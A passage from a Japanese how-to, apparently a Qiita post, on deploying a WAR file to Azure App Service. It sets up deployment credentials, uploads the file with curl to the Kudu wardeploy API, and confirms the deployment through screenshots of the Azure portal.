
- FTPを選択してダッシュボードををクリックする
![war-deploy-test___デプロイ_センター_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/c7cfcd73-9a9b-9079-eac8-956b8cef9405.png)

- ユーザーの資格情報で資格情報を作成する
![war-deploy-test___デプロイ_センター_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/b492a70b-d200-650c-1fe1-e5750d10e9f2.png)

# cURLコマンド実行
- warファイルが置いてあるディレクトリに移動する
- 以下のコマンドを実行する

```bash
curl -X POST -u <ユーザーの資格情報で設定したユーザ名> --data-binary @"<warファイル名>" https://<app-name>.scm.azurewebsites.net/api/wardeploy
Enter host password for user 'hogehoge': #パスワードを聞かれるのでユーザーの資格情報で設定したパスワードを入力
```

# 動作確認
- 高度なツールにアクセスして「移動」を選択する
![war-deploy-test___高度なツール_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/ce3bcd4a-f8eb-1b61-b1a1-00806de5e8e9.png)

- Deploymentsを選択する
![Azure_App_Service.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/2ee9327a-ada9-72cf-a4ff-2eccfa1117f2.png)

- デプロイされた内容が表示されることを確認する。(失敗している場合は[]が表示されます。)
- 「概要」に記載されているURLにアクセスする
![war-deploy-test_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/2a4b5491-4019-05db-e10f-6931ff159b8f.png)